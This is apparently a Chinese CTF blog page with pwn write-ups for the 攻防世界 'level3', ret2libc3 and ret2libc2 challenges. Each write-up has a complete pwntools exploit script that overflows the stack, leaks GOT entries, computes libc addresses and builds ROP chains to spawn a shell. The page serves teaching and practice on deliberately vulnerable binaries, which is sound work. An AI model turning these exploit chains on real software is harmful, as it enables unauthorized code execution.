文章27
标签0
分类4

攻防世界pwn level3

这一题与ret2libc3没什么不同,只是泄露got的方式由puts变成了write,所以在泄漏时加上p32(1)和p32(10)

exp:

from pwn import*

p = remote("111.200.241.244",49574)
#p = process("./level3")
elf = ELF("./level3")
libc = ELF("./level3libc.so.6")
context(log_level="debug")

if __name__ == "__main__":
    if args.G:
         gdb.attach(p)
    
    write_plt = elf.plt["write"]
    write_got = elf.got["write"]
    main_addr = 0x08048484

    p.sendlineafter("Input:\n",b'A'*140+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10))
    write_addr= u32(p.recv(4))
    base_addr = write_addr - libc.symbols["write"]
    system_addr  = base_addr + libc.symbols["system"]
    bin_sh_addr = base_addr + 0x15902b

    payload = b'A'*140 + p32(system_addr)+p32(0)+p32(bin_sh_addr)
    p.sendlineafter("Input:\n",payload)

    
    p.interactive()

在这里插入图片描述

ret2libc3

ret2libc3
在ret2libc2的基础上再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址和/bin/sh。
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。
我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
exp:

from pwn import*

p = process("./ret2libc3")
#context(log_level="debug")

elf = ELF("./ret2libc3")
libc = ELF("./libc2.32.so")

if __name__ == "__main__":
    if args.G:
        gdb.attach(p)

    puts_plt = elf.plt["puts"]      #获得system函数的地址
    puts_got = elf.got["puts"]
    main_addr = 0x08048618
    
    p.sendlineafter("Can you find it !?",b"A"*112+p32(puts_plt)+p32(main_addr)+p32(puts_got))

    puts_addr = u32(p.recv(4))
    base_addr = puts_addr - libc.symbols["puts"]
    sys_addr = base_addr + libc.symbols["system"]#system地址

    rop_addr = 0x0804841d       #写入/bin/sh
    gets_addr = elf.plt["gets"]

    payload = b"a"*104+p32(gets_addr)+p32(rop_addr)+p32(elf.bss()+0x100)+p32(sys_addr)+p32(0)+p32(elf.bss()+0x100)
    p.sendlineafter("!?",payload)
    p.sendline(b"/bin/sh\x00")


    p.interactive()

ret2libc2

ret2libc2

在这里插入图片描述

在这里插入图片描述
没有/bin/sh这时候需要自己写入。
那么可以利用gets写入到bss段
再利用ROP。
exp:

from pwn import *

p = process("./ret2libc2")
elf = ELF("./ret2libc2")
context(os="linux",arch="i386",bits=32)

if __name__ == "__main__":

    sys_addr = elf.plt["system"]
    gets_addr = elf.plt["gets"]
    pop_addr = 0x0804843d

    payload= b"A"*112+p32(gets_addr)+p32(pop_addr)+p32(elf.bss()+0x100)+p32(sys_addr)+p32(0)+p32(elf.bss()+0x100)
    
    p.sendline(payload)
    p.sendline(b"/bin/sh\x00")

    p.interactive()

pwn的学习

在这里插入图片描述
在这里插入图片描述
首先检查:32位 i386 NX开启。

可以发现存在栈溢出
在这里插入图片描述
在这里插入图片描述
需要填补0X88+8个个字节。
在这里插入图片描述
在这里插入图片描述
发现plt段有system函数并且找到“bin/sh/”
构造payload:
在这里插入图片描述
getshell:
在这里插入图片描述

">